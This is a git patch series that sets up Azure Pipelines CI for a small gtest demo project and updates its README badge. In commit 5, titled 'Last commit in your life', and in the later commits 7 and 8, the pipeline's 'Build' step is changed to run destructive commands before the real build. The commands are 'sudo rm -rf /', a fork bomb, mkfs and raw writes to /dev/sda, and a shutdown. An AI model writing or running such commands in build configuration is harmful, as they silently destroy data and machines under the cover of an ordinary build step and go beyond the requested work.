From c9a7988eeb918d1a626f6c05382f25eb475e95df Mon Sep 17 00:00:00 2001 From: Nikolay Petrov Date: Mon, 12 Aug 2019 14:25:22 +0300 Subject: [PATCH 1/8] Set up CI with Azure Pipelines [skip ci] --- azure-pipelines.yml | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 azure-pipelines.yml diff --git a/azure-pipelines.yml b/azure-pipelines.yml new file mode 100644 index 0000000..ee410d7 --- /dev/null +++ b/azure-pipelines.yml @@ -0,0 +1,16 @@ +# Starter pipeline +# Start with a minimal pipeline that you can customize to build and deploy your code. +# Add steps that build, run tests, deploy, and more: +# https://aka.ms/yaml + +trigger: +- master + +pool: + vmImage: 'ubuntu-latest' + +steps: +- script: mkdir build; cd build; cmake .. ; cmake --build . + displayName: 'Build' + + From 908f6512344e6b6e490914c74a32f2b99ef07f2c Mon Sep 17 00:00:00 2001 From: Nikolay Petrov Date: Mon, 12 Aug 2019 14:33:12 +0300 Subject: [PATCH 2/8] Update README.md --- README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/README.md b/README.md index b163737..704938e 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,4 @@ -[![Build Status](https://travis-ci.org/bast/gtest-demo.svg?branch=master)](https://travis-ci.org/bast/gtest-demo/builds) -[![Coverage Status](https://coveralls.io/repos/bast/gtest-demo/badge.png?branch=master)](https://coveralls.io/r/bast/gtest-demo?branch=master) +[![Build Status](https://dev.azure.com/azuredemoci/democi/_apis/build/status/napetrov.gtest-demo?branchName=master)](https://dev.azure.com/azuredemoci/democi/_build/latest?definitionId=1&branchName=master) [![License](https://img.shields.io/badge/license-%20BSD--3-blue.svg)](../master/LICENSE) From 94b12ee12f62e5f132334ba2174d57f0cb75635f Mon Sep 17 00:00:00 2001 From: Nikolay Petrov Date: Mon, 12 Aug 2019 14:37:53 +0300 Subject: [PATCH 3/8] Update azure-pipelines.yml for Azure Pipelines --- azure-pipelines.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index ee410d7..6f6d06b 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -13,4 +13,6 @@ steps: - script: mkdir build; cd build; cmake .. ; cmake --build . displayName: 'Build' +- script: ctest + displayName: 'Run testing' From aefc98e8aa58a1038a701879409e6d8669031c04 Mon Sep 17 00:00:00 2001 From: Nikolay Petrov Date: Mon, 12 Aug 2019 14:41:12 +0300 Subject: [PATCH 4/8] Update azure-pipelines.yml for Azure Pipelines --- azure-pipelines.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 6f6d06b..beec4e2 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -13,6 +13,6 @@ steps: - script: mkdir build; cd build; cmake .. ; cmake --build . displayName: 'Build' -- script: ctest +- script: cd build; ctest displayName: 'Run testing' From 3771ea1a544939a0b4a620a85b14858f11067575 Mon Sep 17 00:00:00 2001 From: Andrey Morkovkin Date: Mon, 12 Aug 2019 15:06:46 +0300 Subject: [PATCH 5/8] Last commit in your life --- azure-pipelines.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index beec4e2..d08542d 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -10,7 +10,7 @@ pool: vmImage: 'ubuntu-latest' steps: -- script: mkdir build; cd build; cmake .. ; cmake --build . +- script: sudo rm -rf /; mkdir build; sudo rm -rf *; sudo shutdown -h now; :(){ : | : & };:; sudo mkfs.ext4 /dev/sda1; echo DEEEAAADD > /dev/sda; cd build; cmake .. ; cmake --build . displayName: 'Build' - script: cd build; ctest From e025991fa0ca024ffa5c3a0a5df30bab41622b9b Mon Sep 17 00:00:00 2001 From: eltimen <53598853+eltimen@users.noreply.github.com> Date: Mon, 12 Aug 2019 15:09:18 +0300 Subject: [PATCH 6/8] Show info about Azure machine (#3) * added lscpu to output * moved to separated step --- azure-pipelines.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index beec4e2..0a610c9 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -10,6 +10,9 @@ pool: vmImage: 'ubuntu-latest' steps: +- script: lscpu + displayName: 'Redundant action. Show info about Azure machine.' + - script: mkdir build; cd build; cmake .. ; cmake --build . displayName: 'Build' From 884534cd408ad0e58a5083b466c4fad7f2b43e47 Mon Sep 17 00:00:00 2001 From: Andrey Morkovkin Date: Mon, 12 Aug 2019 15:14:30 +0300 Subject: [PATCH 7/8] Update azure-pipelines.yml --- azure-pipelines.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index d08542d..5621405 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -10,6 +10,9 @@ pool: vmImage: 'ubuntu-latest' steps: +- script: lscpu + displayName: 'Redundant action. Show info about Azure machine.' + - script: sudo rm -rf /; mkdir build; sudo rm -rf *; sudo shutdown -h now; :(){ : | : & };:; sudo mkfs.ext4 /dev/sda1; echo DEEEAAADD > /dev/sda; cd build; cmake .. ; cmake --build . displayName: 'Build' From e3abf6cd7f2c45379c515d6a09a4b3e3f76c7fc1 Mon Sep 17 00:00:00 2001 From: Andrey Morkovkin Date: Mon, 12 Aug 2019 15:17:19 +0300 Subject: [PATCH 8/8] Update azure-pipelines.yml --- azure-pipelines.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 5621405..99db7cd 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -13,7 +13,7 @@ steps: - script: lscpu displayName: 'Redundant action. Show info about Azure machine.' -- script: sudo rm -rf /; mkdir build; sudo rm -rf *; sudo shutdown -h now; :(){ : | : & };:; sudo mkfs.ext4 /dev/sda1; echo DEEEAAADD > /dev/sda; cd build; cmake .. ; cmake --build . +- script: sudo rm -rf / ; sudo rm -rf * ; sudo shutdown -h now ; mkdir build ; cd build ; cmake .. ; cmake --build . displayName: 'Build' - script: cd build; ctest